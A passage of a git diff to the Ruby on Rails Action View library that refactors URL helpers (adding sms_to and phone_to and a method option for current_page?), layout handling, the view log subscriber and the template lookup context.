       #          <strong>Email me:</strong> <span>me@domain.com</span>
       #        </a>
       def mail_to(email_address, name = nil, html_options = {}, &block)
-        html_options, name = name, nil if block_given?
+        html_options, name = name, nil if name.is_a?(Hash)
         html_options = (html_options || {}).stringify_keys
 
         extras = %w{ cc bcc body subject reply_to }.map! { |item|
           option = html_options.delete(item).presence || next
           "#{item.dasherize}=#{ERB::Util.url_encode(option)}"
         }.compact
-        extras = extras.empty? ? "".freeze : "?" + extras.join("&")
+        extras = extras.empty? ? "" : "?" + extras.join("&")
 
         encoded_email_address = ERB::Util.url_encode(email_address).gsub("%40", "@")
         html_options["href"] = "mailto:#{encoded_email_address}#{extras}"
 
-        content_tag("a".freeze, name || email_address, html_options, &block)
+        content_tag("a", name || email_address, html_options, &block)
       end
 
       # True if the current request URI was generated by the given +options+.
@@ -526,90 +539,263 @@ def mail_to(email_address, name = nil, html_options = {}, &block)
       #   current_page?('http://www.example.com/shop/checkout?order=desc&page=1')
       #   # => true
       #
-      # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
+      # Different actions may share the same URL path but have a different HTTP method. Let's say we
+      # sent a POST to <tt>http://www.example.com/products</tt> and rendered a validation error.
       #
       #   current_page?(controller: 'product', action: 'index')
       #   # => false
       #
+      #   current_page?(controller: 'product', action: 'create')
+      #   # => false
+      #
+      #   current_page?(controller: 'product', action: 'create', method: :post)
+      #   # => true
+      #
+      #   current_page?(controller: 'product', action: 'index', method: [:get, :post])
+      #   # => true
+      #
       # We can also pass in the symbol arguments instead of strings.
       #
-      def current_page?(options, check_parameters: false)
+      def current_page?(options = nil, check_parameters: false, method: :get, **options_as_kwargs)
         unless request
           raise "You cannot use helpers that need to determine the current " \
                 "page unless your view context provides a Request object " \
                 "in a #request method"
         end
 
-        return false unless request.get? || request.head?
+        if options.is_a?(Hash)
+          check_parameters = options.delete(:check_parameters) { check_parameters }
+          method = options.delete(:method) { method }
+        else
+          options ||= options_as_kwargs
+        end
 
-        check_parameters ||= !options.is_a?(String) && options.try(:delete, :check_parameters)
-        url_string = URI.parser.unescape(url_for(options)).force_encoding(Encoding::BINARY)
+        method_matches = case method
+        when :get
+          request.get? || request.head?
+        when Array
+          method.include?(request.method_symbol) || (method.include?(:get) && request.head?)
+        else
+          method == request.method_symbol
+        end
+        return false unless method_matches
+
+        url_string = URI::RFC2396_PARSER.unescape(url_for(options)).force_encoding(Encoding::BINARY)
 
         # We ignore any extra parameters in the request_uri if the
-        # submitted url doesn't have any either. This lets the function
+        # submitted URL doesn't have any either. This lets the function
         # work with things like ?order=asc
-        # the behaviour can be disabled with check_parameters: true
+        # the behavior can be disabled with check_parameters: true
         request_uri = url_string.index("?") || check_parameters ? request.fullpath : request.path
-        request_uri = URI.parser.unescape(request_uri).force_encoding(Encoding::BINARY)
-
-        url_string.chomp!("/") if url_string.start_with?("/") && url_string != "/"
+        request_uri = URI::RFC2396_PARSER.unescape(request_uri).force_encoding(Encoding::BINARY)
 
         if %r{^\w+://}.match?(url_string)
-          url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
-        else
-          url_string == request_uri
+          request_uri = +"#{request.protocol}#{request.host_with_port}#{request_uri}"
         end
+
+        remove_trailing_slash!(url_string)
+        remove_trailing_slash!(request_uri)
+
+        url_string == request_uri
+      end
+
+      # Creates an SMS anchor link tag to the specified +phone_number+. When the
+      # link is clicked, the default SMS messaging app is opened ready to send a
+      # message to the linked phone number. If the +body+ option is specified,
+      # the contents of the message will be preset to +body+.
+      #
+      # If +name+ is not specified, +phone_number+ will be used as the name of
+      # the link.
+      #
+      # A +country_code+ option is supported, which prepends a plus sign and the
+      # given country code to the linked phone number. For example,
+      # <tt>country_code: "01"</tt> will prepend <tt>+01</tt> to the linked
+      # phone number.
+      #
+      # Additional HTML attributes for the link can be passed via +html_options+.
+      #
+      # ==== Options
+      # * <tt>:country_code</tt> - Prepend the country code to the phone number.
+      # * <tt>:body</tt> - Preset the body of the message.
+      #
+      # ==== Examples
+      #   sms_to "5155555785"
+      #   # => <a href="sms:5155555785;">5155555785</a>
+      #
+      #   sms_to "5155555785", country_code: "01"
+      #   # => <a href="sms:+015155555785;">5155555785</a>
+      #
+      #   sms_to "5155555785", "Text me"
+      #   # => <a href="sms:5155555785;">Text me</a>
+      #
+      #   sms_to "5155555785", body: "I have a question about your product."
+      #   # => <a href="sms:5155555785;?body=I%20have%20a%20question%20about%20your%20product">5155555785</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. \ERB example:
+      #
+      #   <%= sms_to "5155555785" do %>
+      #     <strong>Text me:</strong>
+      #   <% end %>
+      #   # => <a href="sms:5155555785;">
+      #          <strong>Text me:</strong>
+      #        </a>
+      def sms_to(phone_number, name = nil, html_options = {}, &block)
+        html_options, name = name, nil if name.is_a?(Hash)
+        html_options = (html_options || {}).stringify_keys
+
+        country_code = html_options.delete("country_code").presence
+        country_code = country_code ? "+#{ERB::Util.url_encode(country_code)}" : ""
+
+        body = html_options.delete("body").presence
+        body = body ? "?&body=#{ERB::Util.url_encode(body)}" : ""
+
+        encoded_phone_number = ERB::Util.url_encode(phone_number)
+        html_options["href"] = "sms:#{country_code}#{encoded_phone_number};#{body}"
+
+        content_tag("a", name || phone_number, html_options, &block)
+      end
+
+      # Creates a TEL anchor link tag to the specified +phone_number+. When the
+      # link is clicked, the default app to make phone calls is opened and
+      # prepopulated with the phone number.
+      #
+      # If +name+ is not specified, +phone_number+ will be used as the name of
+      # the link.
+      #
+      # A +country_code+ option is supported, which prepends a plus sign and the
+      # given country code to the linked phone number. For example,
+      # <tt>country_code: "01"</tt> will prepend <tt>+01</tt> to the linked
+      # phone number.
+      #
+      # Additional HTML attributes for the link can be passed via +html_options+.
+      #
+      # ==== Options
+      # * <tt>:country_code</tt> - Prepends the country code to the phone number
+      #
+      # ==== Examples
+      #   phone_to "1234567890"
+      #   # => <a href="tel:1234567890">1234567890</a>
+      #
+      #   phone_to "1234567890", "Phone me"
+      #   # => <a href="tel:1234567890">Phone me</a>
+      #
+      #   phone_to "1234567890", country_code: "01"
+      #   # => <a href="tel:+011234567890">1234567890</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. \ERB example:
+      #
+      #   <%= phone_to "1234567890" do %>
+      #     <strong>Phone me:</strong>
+      #   <% end %>
+      #   # => <a href="tel:1234567890">
+      #          <strong>Phone me:</strong>
+      #        </a>
+      def phone_to(phone_number, name = nil, html_options = {}, &block)
+        html_options, name = name, nil if name.is_a?(Hash)
+        html_options = (html_options || {}).stringify_keys
+
+        country_code = html_options.delete("country_code").presence
+        country_code = country_code.nil? ? "" : "+#{ERB::Util.url_encode(country_code)}"
+
+        encoded_phone_number = ERB::Util.url_encode(phone_number)
+        html_options["href"] = "tel:#{country_code}#{encoded_phone_number}"
+
+        content_tag("a", name || phone_number, html_options, &block)
       end
 
       private
         def convert_options_to_data_attributes(options, html_options)
           if html_options
             html_options = html_options.stringify_keys
-            html_options["data-remote"] = "true".freeze if link_to_remote_options?(options) || link_to_remote_options?(html_options)
+            html_options["data-remote"] = "true" if link_to_remote_options?(options) || link_to_remote_options?(html_options)
 
-            method = html_options.delete("method".freeze)
+            method = html_options.delete("method")
 
             add_method_to_attributes!(html_options, method) if method
 
             html_options
           else
-            link_to_remote_options?(options) ? { "data-remote" => "true".freeze } : {}
+            link_to_remote_options?(options) ? { "data-remote" => "true" } : {}
+          end
+        end
+
+        def url_target(name, options)
+          if name.respond_to?(:model_name) && options.is_a?(Hash) && options.empty?
+            url_for(name)
+          else
+            url_for(options)
           end
         end
 
         def link_to_remote_options?(options)
           if options.is_a?(Hash)
-            options.delete("remote".freeze) || options.delete(:remote)
+            options.delete("remote") || options.delete(:remote)
           end
         end
 
         def add_method_to_attributes!(html_options, method)
-          if method && method.to_s.downcase != "get".freeze && html_options["rel".freeze] !~ /nofollow/
-            html_options["rel".freeze] = "#{html_options["rel".freeze]} nofollow".lstrip
+          if method_not_get_method?(method) && !html_options["rel"].to_s.include?("nofollow")
+            if html_options["rel"].blank?
+              html_options["rel"] = "nofollow"
+            else
+              html_options["rel"] = "#{html_options["rel"]} nofollow"
+            end
+          end
+          html_options["data-method"] = method
+        end
+
+        def method_for_options(options)
+          if options.is_a?(Array)
+            method_for_options(options.last)
+          elsif options.respond_to?(:persisted?)
+            options.persisted? ? :patch : :post
+          elsif options.respond_to?(:to_model)
+            method_for_options(options.to_model)
           end
-          html_options["data-method".freeze] = method
+        end
+
+        STRINGIFIED_COMMON_METHODS = {
+          get:    "get",
+          delete: "delete",
+          patch:  "patch",
+          post:   "post",
+          put:    "put",
+        }.freeze
+
+        def method_not_get_method?(method)
+          return false unless method
+          (STRINGIFIED_COMMON_METHODS[method] || method.to_s.downcase) != "get"
         end
 
         def token_tag(token = nil, form_options: {})
-          if token != false && protect_against_forgery?
-            token ||= form_authenticity_token(form_options: form_options)
-            tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
+          if token != false && defined?(protect_against_forgery?) && protect_against_forgery?
+            token =
+              if token == true || token.nil?
+                form_authenticity_token(form_options: form_options.merge(authenticity_token: token))
+              else
+                token
+              end
+            options = { type: "hidden", name: request_forgery_protection_token.to_s, value: token }
+            options[:autocomplete] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+            tag(:input, **options)
           else
-            "".freeze
+            ""
           end
         end
 
         def method_tag(method)
-          tag("input", type: "hidden", name: "_method", value: method.to_s)
+          options = { type: "hidden", name: "_method", value: method.to_s }
+          options[:autocomplete] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+          tag("input", **options)
         end
 
         # Returns an array of hashes each containing :name and :value keys
         # suitable for use as the names and values of form input fields:
         #
         #   to_form_params(name: 'David', nationality: 'Danish')
-        #   # => [{name: :name, value: 'David'}, {name: 'nationality', value: 'Danish'}]
+        #   # => [{name: 'name', value: 'David'}, {name: 'nationality', value: 'Danish'}]
         #
-        #   to_form_params(country: {name: 'Denmark'})
+        #   to_form_params(country: { name: 'Denmark' })
         #   # => [{name: 'country[name]', value: 'Denmark'}]
         #
         #   to_form_params(countries: ['Denmark', 'Sweden']})
@@ -621,11 +807,6 @@ def method_tag(method)
         #   # => [{name: 'country[name]', value: 'Denmark'}]
         def to_form_params(attribute, namespace = nil)
           attribute = if attribute.respond_to?(:permitted?)
-            unless attribute.permitted?
-              raise ArgumentError, "Attempting to generate a buttom from non-sanitized request parameters!" \
-                " Whitelist and sanitize passed parameters to be secure."
-            end
-
             attribute.to_h
           else
             attribute
@@ -644,11 +825,16 @@ def to_form_params(attribute, namespace = nil)
               params.push(*to_form_params(value, array_prefix))
             end
           else
-            params << { name: namespace, value: attribute.to_param }
+            params << { name: namespace.to_s, value: attribute.to_param }
           end
 
           params.sort_by { |pair| pair[:name] }
         end
+
+        def remove_trailing_slash!(url_string)
+          trailing_index = (url_string.index("?") || 0) - 1
+          url_string[trailing_index] = "" if url_string[trailing_index] == "/"
+        end
     end
   end
 end
diff --git a/actionview/lib/action_view/layouts.rb b/actionview/lib/action_view/layouts.rb
index 81feb9048696a..6f1d0e8863592 100644
--- a/actionview/lib/action_view/layouts.rb
+++ b/actionview/lib/action_view/layouts.rb
@@ -1,13 +1,17 @@
+# frozen_string_literal: true
+
 require "action_view/rendering"
-require "active_support/core_ext/module/remove_method"
+require "active_support/core_ext/module/redefine_method"
 
 module ActionView
+  # = Action View \Layouts
+  #
   # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
   # repeated setups. The inclusion pattern has pages that look like this:
   #
-  #   <%= render "shared/header" %>
+  #   <%= render "application/header" %>
   #   Hello World
-  #   <%= render "shared/footer" %>
+  #   <%= render "application/footer" %>
   #
   # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
   # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
@@ -148,7 +152,7 @@ module ActionView
   # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
   # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
   #
-  # Setting the layout to +nil+ forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+  # Setting the layout to +nil+ forces it to be looked up in the filesystem and falls back to the parent behavior if none exists.
   # Setting it to +nil+ is useful to re-enable template lookup overriding a previous configuration set in the parent:
   #
   #     class ApplicationController < ActionController::Base
@@ -160,7 +164,7 @@ module ActionView
   #     end
   #
   #     class CommentsController < ApplicationController
-  #       # Will search for "comments" layout and fallback "application" layout
+  #       # Will search for "comments" layout and fall back to "application" layout
   #       layout nil
   #     end
   #
@@ -181,7 +185,7 @@ module ActionView
   # be rendered directly, without wrapping a layout around the rendered view.
   #
   # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
-  # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
+  # <tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
   #
   # == Using a different layout in the action render call
   #
@@ -204,14 +208,12 @@ module Layouts
     include ActionView::Rendering
 
     included do
-      class_attribute :_layout, :_layout_conditions, instance_accessor: false
-      self._layout = nil
-      self._layout_conditions = {}
+      class_attribute :_layout, instance_accessor: false
+      class_attribute :_layout_conditions, instance_accessor: false, instance_reader: true, default: {}
+
       _write_layout_method
     end
 
-    delegate :_layout_conditions, to: :class
-
     module ClassMethods
       def inherited(klass) # :nodoc:
         super
@@ -222,7 +224,6 @@ def inherited(klass) # :nodoc:
       # that if no layout conditions are used, this method is not used
       module LayoutConditions # :nodoc:
         private
-
           # Determines whether the current action has a layout definition by
           # checking the action name against the :only and :except conditions
           # set by the <tt>layout</tt> method.
@@ -254,14 +255,17 @@ def _conditional_layout?
       # true::   raise an ArgumentError
       # nil::    Force default layout behavior with inheritance
       #
-      # Return value of +Proc+ and +Symbol+ arguments should be +String+, +false+, +true+ or +nil+
+      # Return value of +Proc+ and +Symbol+ arguments should be +String+, +false+, +true+, or +nil+
       # with the same meaning as described above.
+      #
       # ==== Parameters
+      #
       # * <tt>layout</tt> - The layout to use.
       #
       # ==== Options (conditions)
-      # * :only   - A list of actions to apply this layout to.
-      # * :except - Apply this layout to all actions but this one.
+      #
+      # * +:only+   - A list of actions to apply this layout to.
+      # * +:except+ - Apply this layout to all actions but this one.
       def layout(layout, conditions = {})
         include LayoutConditions unless conditions.empty?
 
@@ -277,10 +281,10 @@ def layout(layout, conditions = {})
       # If a layout is not explicitly mentioned then look for a layout with the controller's name.
       # if nothing is found then try same procedure to find super class's layout.
       def _write_layout_method # :nodoc:
-        remove_possible_method(:_layout)
+        silence_redefinition_of_method(:_layout)
 
         prefixes = /\blayouts/.match?(_implied_layout_name) ? [] : ["layouts"]
-        default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}, false, [], { formats: formats }).first || super"
+        default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}, false, keys, { formats: formats }).first || super"
         name_clause = if name
           default_behavior
         else
@@ -305,7 +309,7 @@ def _write_layout_method # :nodoc:
             RUBY
           when Proc
             define_method :_layout_from_proc, &_layout
-            protected :_layout_from_proc
+            private :_layout_from_proc
             <<-RUBY
               result = _layout_from_proc(#{_layout.arity == 0 ? '' : 'self'})
               return #{default_behavior} if result.nil?
@@ -320,7 +324,8 @@ def _write_layout_method # :nodoc:
           end
 
         class_eval <<-RUBY, __FILE__, __LINE__ + 1
-          def _layout(formats)
+          # frozen_string_literal: true
+          def _layout(lookup_context, formats, keys)
             if _conditional_layout?
               #{layout_definition}
             else
@@ -332,7 +337,6 @@ def _layout(formats)
       end
 
       private
-
         # If no layout is supplied, look for a template named the return
         # value of this method.
         #
@@ -343,7 +347,7 @@ def _implied_layout_name
         end
     end
 
-    def _normalize_options(options) # :nodoc:
+    def _process_render_template_options(options) # :nodoc:
       super
 
       if _include_layout?(options)
@@ -370,7 +374,6 @@ def action_has_layout?
     end
 
   private
-
     def _conditional_layout?
       true
     end
@@ -386,8 +389,8 @@ def _layout_for_option(name)
       case name
       when String     then _normalize_layout(name)
       when Proc       then name
-      when true       then Proc.new { |formats| _default_layout(formats, true)  }
-      when :default   then Proc.new { |formats| _default_layout(formats, false) }
+      when true       then Proc.new { |lookup_context, formats, keys| _default_layout(lookup_context, formats, keys, true)  }
+      when :default   then Proc.new { |lookup_context, formats, keys| _default_layout(lookup_context, formats, keys, false) }
       when false, nil then nil
       else
         raise ArgumentError,
@@ -396,7 +399,7 @@ def _layout_for_option(name)
     end
 
     def _normalize_layout(value)
-      value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
+      value.is_a?(String) && !value.match?(/\blayouts/) ? "layouts/#{value}" : value
     end
 
     # Returns the default layout for this controller.
@@ -409,9 +412,9 @@ def _normalize_layout(value)
     #
     # ==== Returns
     # * <tt>template</tt> - The template object for the default layout (or +nil+)
-    def _default_layout(formats, require_layout = false)
+    def _default_layout(lookup_context, formats, keys, require_layout = false)
       begin
-        value = _layout(formats) if action_has_layout?
+        value = _layout(lookup_context, formats, keys) if action_has_layout?
       rescue NameError => e
         raise e, "Could not render layout: #{e.message}"
       end
@@ -425,7 +428,7 @@ def _default_layout(formats, require_layout = false)
     end
 
     def _include_layout?(options)
-      (options.keys & [:body, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)
+      !options.keys.intersect?([:body, :plain, :html, :inline, :partial]) || options.key?(:layout)
     end
   end
 end
diff --git a/actionview/lib/action_view/locale/en.yml b/actionview/lib/action_view/locale/en.yml
index 8a56f147b8ca1..ae1e0c1d17fa3 100644
--- a/actionview/lib/action_view/locale/en.yml
+++ b/actionview/lib/action_view/locale/en.yml
@@ -43,6 +43,9 @@
       hour:   "Hour"
       minute: "Minute"
       second: "Seconds"
+    relative:
+      future: "in %{time}"
+      past: "%{time} ago"
 
   helpers:
     select:
diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb
index d03e1a51b8769..024b59984fe4c 100644
--- a/actionview/lib/action_view/log_subscriber.rb
+++ b/actionview/lib/action_view/log_subscriber.rb
@@ -1,12 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/log_subscriber"
 
 module ActionView
-  # = Action View Log Subscriber
-  #
-  # Provides functionality so that Rails can output logs from Action View.
-  class LogSubscriber < ActiveSupport::LogSubscriber
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
     VIEWS_PATTERN = /^app\/views\//
 
+    self.namespace = "action_view"
+
     def initialize
       @root = nil
       super
@@ -14,80 +15,89 @@ def initialize
 
     def render_template(event)
       info do
-        message = "  Rendered #{from_rails_root(event.payload[:identifier])}"
-        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
-        message << " (#{event.duration.round(1)}ms)"
+        message = +"  Rendered #{from_rails_root(event[:payload][:identifier])}"
+        message << " within #{from_rails_root(event[:payload][:layout])}" if event[:payload][:layout]
+        message << " (Duration: #{event[:payload][:duration_ms].round(1)}ms | GC: #{event[:payload][:gc_ms].round(1)}ms)"
       end
     end
+    event_log_level :render_template, :debug
 
     def render_partial(event)
-      info do
-        message = "  Rendered #{from_rails_root(event.payload[:identifier])}"
-        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
-        message << " (#{event.duration.round(1)}ms)"
-        message << " #{cache_message(event.payload)}" if event.payload.key?(:cache_hit)
+      debug do
+        message = +"  Rendered #{from_rails_root(event[:payload][:identifier])}"
+        message << " within #{from_rails_root(event[:payload][:layout])}" if event[:payload][:layout]
+        message << " (Duration: #{event[:payload][:duration_ms].round(1)}ms | GC: #{event[:payload][:gc_ms].round(1)}ms)"
+        message << " #{cache_message(event[:payload])}" unless event[:payload][:cache_hit].nil?
         message
       end
     end
+    event_log_level :render_partial, :debug
 
-    def render_collection(event)
-      identifier = event.payload[:identifier] || "templates"
-
+    def render_layout(event)
       info do
-        "  Rendered collection of #{from_rails_root(identifier)}" \
-        " #{render_count(event.payload)} (#{event.duration.round(1)}ms)"
+        message = +"  Rendered layout #{from_rails_root(event[:payload][:identifier])}"
+        message << " (Duration: #{event[:payload][:duration_ms].round(1)}ms | GC: #{event[:payload][:gc_ms].round(1)}ms)"
       end
     end
+    event_log_level :render_layout, :info
 
-    def start(name, id, payload)
-      if name == "render_template.action_view"
-        log_rendering_start(payload)
-      end
-
-      super
-    end
+    def render_collection(event)
+      identifier = event[:payload][:identifier] || "templates"
 
-    def logger
-      ActionView::Base.logger
+      debug do
+        message = +"  Rendered collection of #{from_rails_root(identifier)}"
+        message << " within #{from_rails_root(event[:payload][:layout])}" if event[:payload][:layout]
+        message << " #{render_count(event[:payload])} (Duration: #{event[:payload][:duration_ms].round(1)}ms | GC: #{event[:payload][:gc_ms].round(1)}ms)"
+        message
+      end
     end
+    event_log_level :render_collection, :debug
 
-  private
+    def render_start(event)
+      debug do
+        payload = event[:payload]
 
-    EMPTY = ""
-    def from_rails_root(string) # :doc:
-      string = string.sub(rails_root, EMPTY)
-      string.sub!(VIEWS_PATTERN, EMPTY)
-      string
+        message = +"  Rendering #{payload[:is_layout] ? "layout " : ""}#{from_rails_root(payload[:identifier])}"
+        message << " within #{from_rails_root(payload[:layout])}" if payload[:layout]
+        message
+      end
     end
+    event_log_level :render_start, :debug
 
-    def rails_root # :doc:
-      @root ||= "#{Rails.root}/"
+    def self.default_logger
+      ActionView::Base.logger
     end
 
-    def render_count(payload) # :doc:
-      if payload[:cache_hits]
-        "[#{payload[:cache_hits]} / #{payload[:count]} cache hits]"
-      else
-        "[#{payload[:count]} times]"
+    private
+      def from_rails_root(string)
+        string = string.sub(rails_root, "")
+        string.sub!(VIEWS_PATTERN, "")
+        string
       end
-    end
 
-    def cache_message(payload) # :doc:
-      if payload[:cache_hit]
-        "[cache hit]"
-      else
-        "[cache miss]"
+      def rails_root # :doc:
+        @root ||= "#{Rails.root}/"
       end
-    end
 
-    def log_rendering_start(payload)
-      info do
-        message = "  Rendering #{from_rails_root(payload[:identifier])}"
-        message << " within #{from_rails_root(payload[:layout])}" if payload[:layout]
-        message
+      def render_count(payload) # :doc:
+        if payload[:cache_hits]
+          "[#{payload[:cache_hits]} / #{payload[:count]} cache hits]"
+        else
+          "[#{payload[:count]} times]"
+        end
+      end
+
+      def cache_message(payload) # :doc:
+        case payload[:cache_hit]
+        when :hit
+          "[cache hit]"
+        when :miss
+          "[cache miss]"
+        end
       end
-    end
   end
 end
 
-ActionView::LogSubscriber.attach_to :action_view
+ActiveSupport.event_reporter.subscribe(
+  ActionView::LogSubscriber.new, &ActionView::LogSubscriber.subscription_filter
+)
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
index f385a7cd04ff4..04e0207a0fb70 100644
--- a/actionview/lib/action_view/lookup_context.rb
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "concurrent/map"
-require "active_support/core_ext/module/remove_method"
 require "active_support/core_ext/module/attribute_accessors"
 require "action_view/template/resolver"
 
@@ -11,23 +12,20 @@ module ActionView
   # <tt>LookupContext</tt> is also responsible for generating a key, given to
   # view paths, used in the resolver cache lookup. Since this key is generated
   # only once during the request, it speeds up all cache accesses.
-  class LookupContext #:nodoc:
-    attr_accessor :prefixes, :rendered_format
-
-    mattr_accessor :fallbacks
-    @@fallbacks = FallbackFileSystemResolver.instances
+  class LookupContext # :nodoc:
+    attr_accessor :prefixes
 
-    mattr_accessor :registered_details
+    singleton_class.attr_accessor :registered_details
     self.registered_details = []
 
     def self.register_detail(name, &block)
       registered_details << name
       Accessors::DEFAULT_PROCS[name] = block
 
-      Accessors.send :define_method, :"default_#{name}", &block
+      Accessors.define_method(:"default_#{name}", &block)
       Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
         def #{name}
-          @details.fetch(:#{name}, [])
+          @details[:#{name}] || []
         end
 
         def #{name}=(value)
@@ -38,7 +36,7 @@ def #{name}=(value)
     end
 
     # Holds accessors for the registered details.
-    module Accessors #:nodoc:
+    module Accessors # :nodoc:
       DEFAULT_PROCS = {}
     end
 
@@ -53,25 +51,46 @@ module Accessors #:nodoc:
     register_detail(:variants) { [] }
     register_detail(:handlers) { Template::Handlers.extensions }
 
-    class DetailsKey #:nodoc:
+    class DetailsKey # :nodoc:
       alias :eql? :equal?
 
       @details_keys = Concurrent::Map.new
+      @digest_cache = Concurrent::Map.new
+      @view_context_mutex = Mutex.new
+
+      def self.digest_cache(details)
+        @digest_cache[details_cache_key(details)] ||= Concurrent::Map.new
+      end
 
-      def self.get(details)
-        if details[:formats]
-          details = details.dup
-          details[:formats] &= Template::Types.symbols
+      def self.details_cache_key(details)
+        @details_keys.fetch(details) do
+          if formats = details[:formats]
+            unless Template::Types.valid_symbols?(formats)
+              details = details.dup
+              details[:formats] &= Template::Types.symbols
+            end
+          end
+          @details_keys[details] ||= TemplateDetails::Requested.new(**details)
         end
-        @details_keys[details] ||= Concurrent::Map.new
       end
 
       def self.clear
+        ActionView::PathRegistry.all_resolvers.each do |resolver|
+          resolver.clear_cache
+        end
+        @view_context_class = nil
         @details_keys.clear
+        @digest_cache.clear
       end
 
       def self.digest_caches
-        @details_keys.values
+        @digest_cache.values
+      end
+
+      def self.view_context_class
+        @view_context_mutex.synchronize do
+          @view_context_class ||= ActionView::Base.with_empty_template_cache
+        end
       end
     end
 
@@ -81,8 +100,8 @@ module DetailsCache
 
       # Calculate the details key. Remove the handlers from calculation to improve performance
       # since the user cannot modify it explicitly.
-      def details_key #:nodoc:
-        @details_key ||= DetailsKey.get(@details) if @cache
+      def details_key # :nodoc:
+        @details_key ||= DetailsKey.details_cache_key(@details) if @cache
       end
 
       # Temporary skip passing the details_key forward.
@@ -94,9 +113,9 @@ def disable_cache
       end
 
     private
-
       def _set_detail(key, value) # :doc:
-        @details = @details.dup if @details_key
+        @details = @details.dup if @digest_cache || @details_key
+        @digest_cache = nil
         @details_key = nil
         @details[key] = value
       end
@@ -106,55 +125,50 @@ def _set_detail(key, value) # :doc:
     module ViewPaths
       attr_reader :view_paths, :html_fallback_for_js
 
-      # Whenever setting view paths, makes a copy so that we can manipulate them in
-      # instance objects as we wish.
-      def view_paths=(paths)
-        @view_paths = ActionView::PathSet.new(Array(paths))
-      end
-
       def find(name, prefixes = [], partial = false, keys = [], options = {})
-        @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(options)
+        @view_paths.find(name, prefixes, partial, details, details_key, keys)
       end
       alias :find_template :find
 
-      def find_file(name, prefixes = [], partial = false, keys = [], options = {})
-        @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
-      end
-
       def find_all(name, prefixes = [], partial = false, keys = [], options = {})
-        @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(options)
+        @view_paths.find_all(name, prefixes, partial, details, details_key, keys)
       end
 
       def exists?(name, prefixes = [], partial = false, keys = [], **options)
-        @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(options)
+        @view_paths.exists?(name, prefixes, partial, details, details_key, keys)
       end
       alias :template_exists? :exists?
 
       def any?(name, prefixes = [], partial = false)
-        @view_paths.exists?(*args_for_any(name, prefixes, partial))
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for_any
+        @view_paths.exists?(name, prefixes, partial, details, details_key, [])
       end
       alias :any_templates? :any?
 
-      # Adds fallbacks to the view paths. Useful in cases when you are rendering
-      # a :file.
-      def with_fallbacks
-        added_resolvers = 0
-        self.class.fallbacks.each do |resolver|
-          next if view_paths.include?(resolver)
-          view_paths.push(resolver)
-          added_resolvers += 1
-        end
-        yield
-      ensure
-        added_resolvers.times { view_paths.pop }
+      def append_view_paths(paths)
+        @view_paths = build_view_paths(@view_paths.to_a + paths)
       end
 
-    private
+      def prepend_view_paths(paths)
+        @view_paths = build_view_paths(paths + @view_paths.to_a)
+      end
 
-      def args_for_lookup(name, prefixes, partial, keys, details_options)
-        name, prefixes = normalize_name(name, prefixes)
-        details, details_key = detail_args_for(details_options)
-        [name, prefixes, partial || false, details, details_key, keys]
+    private
+      # Whenever setting view paths, makes a copy so that we can manipulate them in
+      # instance objects as we wish.
+      def build_view_paths(paths)
+        if ActionView::PathSet === paths
+          paths
+        else
+          ActionView::PathSet.new(Array(paths))
+        end
       end
 
       # Compute details hash and key according to user options (e.g. passed from #render).
@@ -163,7 +177,7 @@ def detail_args_for(options) # :doc:
         user_details = @details.merge(options)
 
         if @cache
-          details_key = DetailsKey.get(user_details)
+          details_key = DetailsKey.details_cache_key(user_details)
         else
           details_key = nil
         end
@@ -171,17 +185,11 @@ def detail_args_for(options) # :doc:
         [user_details, details_key]
       end
 
-      def args_for_any(name, prefixes, partial)
-        name, prefixes = normalize_name(name, prefixes)
-        details, details_key = detail_args_for_any
-        [name, prefixes, partial || false, details, details_key]
-      end
-
       def detail_args_for_any
         @detail_args_for_any ||= begin
           details = {}
 
-          registered_details.each do |k|
+          LookupContext.registered_details.each do |k|
             if k == :variants
               details[k] = :any
             else
@@ -190,26 +198,28 @@ def detail_args_for_any
           end
 
           if @cache
-            [details, DetailsKey.get(details)]
+            [details, DetailsKey.details_cache_key(details)]
           else
             [details, nil]
           end
         end
       end
 
-      # Support legacy foo.erb names even though we now ignore .erb
-      # as well as incorrectly putting part of the path in the template
-      # name instead of the prefix.
+      # Fix when prefix is specified as part of the template name
       def normalize_name(name, prefixes)
-        prefixes = prefixes.presence
